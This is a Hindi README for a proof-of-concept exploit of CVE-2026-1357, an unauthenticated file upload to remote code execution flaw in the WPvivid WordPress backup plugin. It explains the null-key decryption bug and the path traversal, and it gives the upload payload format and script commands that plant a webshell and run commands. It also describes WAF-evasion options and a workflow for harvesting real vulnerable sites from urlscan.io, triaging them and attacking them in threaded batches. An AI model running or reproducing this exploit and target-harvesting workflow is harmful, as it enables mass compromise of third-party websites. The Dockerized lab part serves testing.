
CVE-2026-1357 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, WPvivid Backup & Migration में एक अनप्रमाणित (unauthenticated) मनमाना फ़ाइल अपलोड जो रिमोट कोड एक्ज़ीक्यूशन की ओर ले जाता है। इसमें एक स्टैंडअलोन Python स्क्रिप्ट, WAF बायपास तकनीकें, और प्रयोगशाला को अधिकृत करने के लिए एक Dockerized कमजोर लैब शामिल है।
CVE-2026-1357 (CVSS 9.8 क्रिटिकल, CWE-434) के लिए PoC: WordPress के लिए WPvivid Backup & Migration प्लगइन में एक बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड जो रिमोट कोड निष्पादन की ओर ले जाता है। 0.9.124 (चेंजसेट 3448386) में ठीक किया गया। Wordfence बग बाउंटी प्रोग्राम के माध्यम से Lucas Montes द्वारा रिपोर्ट किया गया।
███████╗ █████╗ ██╗ ██╗ ███╗ ███╗ ███████╗ ███████╗ ██████╗
██╔════╝ ██╔══██╗ ██║ ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗ ██║
╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝ ██║
███████║ ██║ ██║ ██║ ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═════╝
यह प्रूफ ऑफ कॉन्सेप्ट अधिकृत सुरक्षा अनुसंधान, शिक्षा और रक्षात्मक परीक्षण के लिए प्रदान किया गया है।
बिना प्रमाणीकरण वाला send_to_site हैंडलर
(includes/customclass/class-wpvivid-send-to-site.php) हमलावर द्वारा आपूर्ति किए गए ब्लॉब को डिक्रिप्ट करता है और $params['data'] की सामग्री को
wp-content/wpvividbackups/<हमलावर-नियंत्रित नाम> में लिखता है — बिना किसी प्रमाणीकरण, बिना किसी nonce, और name पर बिना किसी पथ सैनिटाइज़ेशन के।
इच्छित सुरक्षा RSA है: संदेश को एक यादृच्छिक सत्र कुंजी के साथ एन्क्रिप्ट किया जाना चाहिए, जो स्वयं साइट की कुंजी के साथ RSA-एन्क्रिप्टेड होती है। दोष WPvivid_crypt::decrypt_message (includes/class-wpvivid-crypt.php) में है:
$key = $rsa->decrypt($key); // विफलता पर FALSE लौटाता है (खराब कुंजी ब्लॉब)
$rij = new Crypt_Rijndael();
$rij->setKey($key); // FALSE को null-बाइट कुंजी के रूप में माना जाता है
return $rij->decrypt($data);
phpseclib का Crypt_RSA::decrypt() false लौटाता है जब आपूर्ति की गई कुंजी ब्लॉब को डिक्रिप्ट नहीं किया जा सकता (जैसे openssl_private_decrypt() विफल हो जाता है), और प्लगइन रुकता नहीं है। false फिर Crypt_Rijndael::setKey() को पास किया जाता है, जहां strlen(false) → 0 → कुंजी को 16 null बाइट्स (AES-128, CBC मोड, null IV) तक पैड किया जाता है। इसलिए एक हमलावर पेलोड को पूरी तरह से अनुमानित null कुंजी के साथ "एन्क्रिप्ट" करता है — वास्तविक साइट कुंजी के ज्ञान की आवश्यकता नहीं होती है।
पेलोड JSON है:
{"backup_id":"poc","name":"../../pocXXXXXXXX.php","offset":0,
"file_size":<len>,"md5":"<md5>","data":"<base64 of PHP>"}
name को बिना सैनिटाइज़ेशन के पथ में जोड़ा जाता है
(str_replace('wpvivid','wpvivid_temp', $name) केवल "wpvivid" सबस्ट्रिंग को फिर से लिखता है), इसलिए ../../ wp-content/wpvividbackups/ से बाहर वेबरूट में भाग जाता है। जब file_size/md5 मेल खाते हैं, तो अस्थायी फ़ाइल का नाम बदलकर हमलावर द्वारा चुने गए नाम पर कर दिया जाता है → सार्वजनिक रूप से सुलभ PHP → RCE।
फिक्स (चेंजसेट 3448386) RSA चरण विफल होने पर रुक जाता है:
if ($key === false || empty($key)) {
return false;
}
लक्ष्य:
wpvivid_api_token विकल्प मौजूद होना चाहिए और समाप्त नहीं होना चाहिए — जब भी कोई व्यवस्थापक WPvivid → Settings → Auto Migration के अंतर्गत Generate पर क्लिक करता है तो बनाया जाता है (उन साइटों पर आम है जो माइग्रेशन सुविधा का उपयोग करती हैं)हमलावर:
script.py पूरी तरह से स्वतंत्र है: केवल मानक लाइब्रेरी, कोई स्थानीय आयात नहीं, कोई बाहरी फ़ाइल नहीं। सरल पोज़िशनल CLI:
# एकल लक्ष्य
python script.py https://target.example.com
# कस्टम कमांड
python script.py https://target.example.com --command "uname -a"
# बैच मोड (प्रति पंक्ति एक URL) -> success.txt / failed.txt
python script.py sites.txt --threads 10
# WAF चोरी: प्रतिशत-एन्कोडेड पैराम नाम/मान या multipart बॉडी
python script.py https://target.example.com --encode
python script.py https://target.example.com --multipart
# परीक्षण के बाद वेबशेल को स्वयं-हटाएं
python script.py https://target.example.com --cleanup
एग्ज़िट कोड: 0 भेद्य, अन्यथा 1।
../lab/ में एक dockerized भेद्य लक्ष्य है (WordPress 6.8 + plugins/ से WPvivid 0.9.123 स्रोत):
cd ../lab
docker compose up -d
# http://localhost:8090/ पर WordPress इंस्टॉलेशन पूरा करें
docker compose run --rm wpcli plugin activate wpvivid-backuprestore
docker compose cp ../CVE-2026-1357-poc/setup_token.php wp:/tmp/
docker compose exec wp php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup_token.php";'
cd ../CVE-2026-1357-poc
python script.py http://localhost:8090 --command id
सत्यापित कार्यशील स्रोत (लाइव परीक्षण किया गया, कोई खाता आवश्यक नहीं):
https://urlscan.io/search/#filename:wpvivid-backuprestore
प्लगइन स्लग को संदर्भित करने वाले ~74 अनुक्रमित पृष्ठ; क्लिक करें और होस्टनाम एकत्र करें। प्रत्येक परिणाम URL प्लगइन पथ से शुरू होता है
(/wp-content/plugins/wpvivid-backuprestore/), इसलिए होस्ट निष्कर्षण आसान है।वे क्वेरी जिनका परीक्षण किया गया और लक्ष्य नहीं मिले (जानबूझकर बाहर रखा गया):
Google/Bing dorks (inurl: केवल प्लगइन के अपने wordpress.org पृष्ठ या बॉट वॉल लौटाता है), DuckDuckGo (वही), Shodan http.html: (ट्रंकेटेड HTML अनुक्रमित करता है, शून्य हिट), Wayback CDX वाइल्डकार्ड (खाली), PublicWWW (अतिथि-स्क्रैपिंग अवरुद्ध)।
एकत्रित होस्ट को triage (script.py में --triage के रूप में निर्मित) को फीड करें, जो प्रत्येक साइट के लिए जांचता है:
wp-content/plugins/wpvivid-backuprestore/readme.txt →
Stable tag: 0.9.123 (unauth कम-शोर जांच; HTML में ?ver= एसेट क्वेरी स्ट्रिंग्स फ़ॉलबैक हैं)wpvivid_action=send_to_site&wpvivid_content=AAAA:
JSON प्रतिक्रिया (The key is invalid.) = wpvivid_api_token मौजूद है;
खाली = कोई टोकन नहीं / प्लगइन निष्क्रिय / WAF ने प्रोब गिरा दियाकेवल वे साइटें जो <= 0.9.123 और टोकन-लाइव हैं, in-scope.txt में लिखी जाती हैं, फिर:
python script.py sites.txt --triage --threads 10 # → in-scope.txt
python script.py in-scope.txt --threads 5
एक लंबे समय तक चलने वाले 2025 अपलोडर से पोर्ट की गई तकनीकें जो जंगल में काम करती रहीं (समान लेखक):
X-Requested-With: XMLHttpRequest,
Accept: application/json, */*;q=0.1, समान-मूल Referer, ब्राउज़र UAReferer ले जाते हैं--threads N) छोटे प्रति-अनुरोध टाइमआउट के साथsuccess.txt / failed.txt लिखा जाता है, केवल सत्यापित शेल सफलता के रूप में दर्ज किए जाते हैं (मूल के success फ़ाइल की तरह)--encode / --multipart../lab/waf/ भेद्य WordPress के सामने एक owasp/modsecurity-crs:apache रिवर्स प्रॉक्सी जोड़ता है (WAF :8092 पर, कच्चा लक्ष्य :8093 पर)। मापा गया व्यवहार:
| चरण | CRS के माध्यम से परिणाम |
|---|---|
| अपलोड POST (सादा) | पास — AES ब्लॉब + AJAX हेडर किसी भी CRS नियम से मेल नहीं खाते |
अपलोड POST (--encode) | पास |
अपलोड POST (--multipart) | पास |
शेल GET ?<p>=id / hostname / ls | पास, कमांड निष्पादित होता है |
शेल GET ?<p>=id; hostname; uname -a | 403 — CRS 932xxx कमांड-इंजेक्शन नियम |
| सादा GET (PWN-OK मार्कर) | पास |
एन्क्रिप्टेड अपलोड CRS सामग्री निरीक्षण के लिए अदृश्य है (2025 अपलोडर के whitelisted-दिखने वाले AJAX के समान उत्तरजीविता गुण)। एकमात्र CRS सतह अनुवर्ती कमांड GET है, इसलिए टूल अब डिफ़ॉल्ट रूप से --command id का उपयोग करता है और सादे-GET PWN-OK मार्कर के माध्यम से RCE की पुष्टि करता है, भले ही कमांड GET WAF-फ़िल्टर किया गया हो (एक नोट के साथ vulnerable के रूप में रिपोर्ट किया गया)। ऑन-होस्ट WAFs जो wpvivid_action=send_to_site को सिग्नेचर करते हैं (जैसे Wordfence वर्चुअल पैच) अभी भी प्लगइन स्तर पर अपलोड को ही ब्लॉक करते हैं — कोई भी अनुरोध-आकार चाल उनसे आगे नहीं जा सकती।